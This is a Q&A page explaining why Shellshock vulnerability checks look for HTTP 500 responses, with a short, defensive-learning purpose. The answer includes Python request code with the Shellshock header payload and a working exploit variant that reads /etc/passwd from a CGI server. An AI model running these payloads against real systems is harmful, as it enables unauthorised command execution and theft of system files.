Search code examples
securitycgishellshock-bash-bug

Shellshock - Response of URL having CGI extension


Why do we always check for 500 response in shellshock exploitable request why not 200, 301 or others?

conn.request("GET", path, headers=headers)
res = conn.getresponse()
if res.status == 500:
    print "Shell Shock Exploitable"

Solution

  • Its a standard way to check if a server is vulnerable to the shellshock bug.

    As an example, suppose we have a bash CGI script running on Apache, accessible via the URL http://localhost/shellshock.cgi, and we make a request that passes some new custom header like this:

    import requests
    
    url = 'http://localhost/shellshock.cgi'
    
    # Checking if the server is vulnerable
    headers = {
        'shellshock': '() { :; }; echo vulnerable;'
    }
    response = requests.get(url, headers=headers)
    if response.status_code == 500:
        print('Panic! The server is vulnerable!')
    else:
        print('Phew, looks like the server has been patched')
    

    The header itself is just a dummy header that looks like a function definition (with an empty statement as the body), followed by an ordinary echo command.

    Now, according to https://nvd.nist.gov/vuln/detail/CVE-2014-6271:

    GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment.

    This means that a vulnerable server should return a 500 Internal Server Error in the above case.

    The reason for this is that the request headers passed to the server are stored as environment variables, in which case the echo command after the function is executed unintentionally when the function is imported -- but before the CGI script gets to print its valid headers.

    In the Apache error logs, you would see something about a "malformed header" or "bad header" -- since in this case, the output from the echo command (vulnerable) is the first thing that gets printed and is therefore treated as a header.

    The fact that a 500 error occurs lets us know that something went wrong. Its not full-proof though, since an Internal Server Error could have occurred for any amount of other reasons. However, this approach gives a pretty good indication.

    Of course, the above is just a simple way to demonstrate that the server is vulnerable. Once we know the server is vulnerable, we can try to exploit it like this:

    import requests
    
    url = 'http://localhost/shellshock.cgi'
    
    # Trying to exploit the vulnerability
    headers = {
        'shellshock': '() { :; }; echo Content-type: text/html; echo; cat /etc/passwd;'
    }
    response = requests.get(url, headers=headers)
    

    Here we just add the necessary Content-type header followed by a blank line before attempting to execute arbitrary malicious code. This prevents the 500 Internal Server Error, thereby enabling the output of the malicious code to be returned when the CGI script terminates.

    If our exploit succeeds, then we should get a 200 OK response from the server, and see the contents of the /etc/passwd file. So you could treat this a check for the shellshock vulnerability as well - one that doesn't rely on merely checking for a 500 error.

    Of course, in the above case we're just echoing back the contents of the /etc/passwd file, but we could easily exploit shellshock to do significant damage to the server and/or its users. There is a good Cloudflare article that explores various possibilities.

    Recommend Reading: